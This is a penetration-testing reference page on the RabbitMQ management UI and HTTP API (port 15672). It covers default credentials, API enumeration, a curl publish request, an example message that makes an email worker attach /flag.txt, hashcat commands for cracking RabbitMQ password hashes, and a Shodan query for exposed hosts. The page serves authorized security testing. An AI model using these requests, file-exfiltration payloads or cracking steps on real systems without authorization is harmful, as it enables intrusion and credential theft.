15672 - Pentesting RabbitMQ Management

Basic Information

You can learn more about RabbitMQ in 5671,5672 - Pentesting AMQP.

When the RabbitMQ management plugin is enabled, it exposes a browser UI and HTTP API, typically over HTTP on TCP port 15672. This port is not an AMQP listener.^[1]

The login page looks like this:

RabbitMQ Management login page

Enumeration

RabbitMQ creates a guest user with password guest by default, but the broker rejects remote connections for that user unless an administrator explicitly changes the loopback-user configuration. Consequently, these credentials normally work only from localhost.^[2] If authorized credential auditing is in scope, see brute-force the login.

Enable the plugin on a system you administer with:

rabbitmq-plugins enable rabbitmq_management

The plugin normally starts without a node restart. On a legacy service-managed lab where a restart is specifically required, the historical command is sudo service rabbitmq-server restart; expect a temporary broker outage and do not run it on production without approval.^[1]

Once you have authenticated, you will see the admin console:

Authenticated RabbitMQ Management console

With valid credentials and suitable permissions, GET /api/connections (for example, http://localhost:15672/api/connections from the broker itself) lists client connections. The API also exposes cluster, node, exchange, queue, binding, user, permission, and virtual-host information.^[1]^[3]

An authorized user with write permission can publish a message through an exchange. For example, the following request publishes test through the default exchange to the queue named by routing_key:^[3]

curl -u '<user>:<password>' \
  -H 'content-type: application/json' \
  -X POST 'http://<host>:15672/api/exchanges/%2F/amq.default/publish' \
  --data '{"properties":{},"routing_key":"queue-name","payload":"test","payload_encoding":"string"}'

The message body can itself be structured JSON for an application consumer. For example, a queue-backed email worker might accept recipient and attachment fields:^[3]

{
  "properties": {"delivery_mode": 1, "headers": {}},
  "routing_key": "email",
  "payload": "{\"to\":\"recipient@example.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}",
  "payload_encoding": "string"
}

RabbitMQ only transports this data; file access or command impact depends entirely on how the downstream consumer validates and processes the message.

Auditing internal password hashes

RabbitMQ’s internal authentication backend salts and hashes passwords. SHA-256 is the default in current releases, but SHA-512 and legacy MD5 can be configured; identify password_hashing_module before selecting a cracking mode.^[4] For a base64-encoded SHA-256 hash in RabbitMQ’s salt || digest representation:

printf '%s' '<base64_hash>' | base64 -d | xxd -p -c 128 | perl -pe 's/^(.{8})(.*)/$2:$1/' > hash.txt
hashcat -m 1420 --hex-salt hash.txt wordlist

Hashcat mode 1420 implements sha256($salt.$pass), which matches RabbitMQ’s default salted SHA-256 construction after the conversion above.^[5]

Shodan

port:15672 http